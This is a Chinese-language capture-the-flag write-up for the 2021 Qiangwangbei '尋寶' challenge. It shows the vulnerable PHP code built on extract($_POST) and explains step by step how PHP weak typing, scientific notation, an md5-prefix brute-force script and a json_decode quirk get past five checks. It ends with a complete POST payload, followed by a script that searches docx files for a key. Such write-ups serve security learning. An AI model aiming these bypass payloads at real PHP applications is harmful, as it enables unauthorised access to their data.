2021強網杯-尋寶
阿新 • • 發佈:2021-06-15
PS:看到WP後血壓拉滿
part 1
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); function filter($string){ $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000'); $filter_phrase= '/'.implode('|',$filter_word).'/'; return preg_replace($filter_phrase,'',$string); } if($ppp){ unset($ppp); } $ppp['number1'] = "1"; $ppp['number2'] = "1"; $ppp['nunber3'] = "1"; $ppp['number4'] = '1'; $ppp['number5'] = '1'; extract($_POST); $num1 = filter($ppp['number1']); $num2 = filter($ppp['number2']); $num3 = filter($ppp['number3']); $num4 = filter($ppp['number4']); $num5 = filter($ppp['number5']); var_dump($ppp); echo "<br>"; var_dump($_POST); if(isset($num1) && is_numeric($num1)){ die("非數字"); } else{ if($num1 > 1024){ echo "第一層"; if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){ echo "第二層"; if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){ echo "第三層"; if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){ echo "第四層"; if(!isset($num5)||(strlen($num5)==0)) die("no"); $b=json_decode(@$num5); if($y = $b === NULL){ if($y === true){ echo "第五層"; include 'KeY1lhv.php'; echo $KEY1; } }else{ die("no"); } }else{ die("no"); } }else{ die("no"); } }else{ die("no"); } }else{ die("no111"); } } ?>
傳參方式
有個extract($_POST);它把陣列鍵名作為變數名,使用陣列鍵值作為變數值。針對陣列中的每個元素,將在當前符號表中建立對應的一個變數。
由一段程式碼引發的慘案,md5繞過,foreach,php偽協議
最後是這樣的格式,它自動把引號加上的
ppp[number1]=xxx&ppp[number2]=xxx&ppp[number3]=xxx&ppp[number4]=xxx&ppp[number5]=xxx
第一層
弱型別,1234a
第二層
科學計數法,9e9
echo intval(1e10); // 1410065408 echo intval('1e10'); // 1
第三層
指令碼直接跑
import hashlib
def func(md5_val):
for x in range(50000000,100000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:7]==md5_val:
return str(x)
print func(raw_input('md5_val:'))
raw_input('ok')
61823470
第四層
科學計數法,0e99999
第五層
json_decode()
接受一個 JSON 編碼的字串並且把它轉換為 PHP 變數
通過恰當的 PHP 型別返回在 json
中編碼的資料。值true
, false
和 null
會相應地返回 true
, false
和 null
。 如果 json
無法被解碼, 或者編碼資料深度超過了遞迴限制的話,將會返回null
。
1a
payload
ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a
part 2
沒找出來,可惜,真就直接找key就行了
import os
import docx
import time
import re
os.chdir('C:/Users/Lenovo/Desktop/qwb/five_month')
dires = os.listdir()
for dirss in dires:
os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}')
dirs = os.listdir()
#time.sleep(1)
for di in dirs:
os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}')
ds = os.listdir()
for d in ds:
path = (f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}' + f'/{d}')
# 完美的路徑
if re.search('(1|2|3|4|5).png', path) == None :
#print(path)跳過png
file = docx.Document(path)
for para in file.paragraphs :
x=para.text
if re.search('KEY2',x) != None :
print(path)
有五張圖片,當時被這個帶偏了,去看misc了
現在想想可能是用來干擾指令碼的
得到兩個KEY,提交即可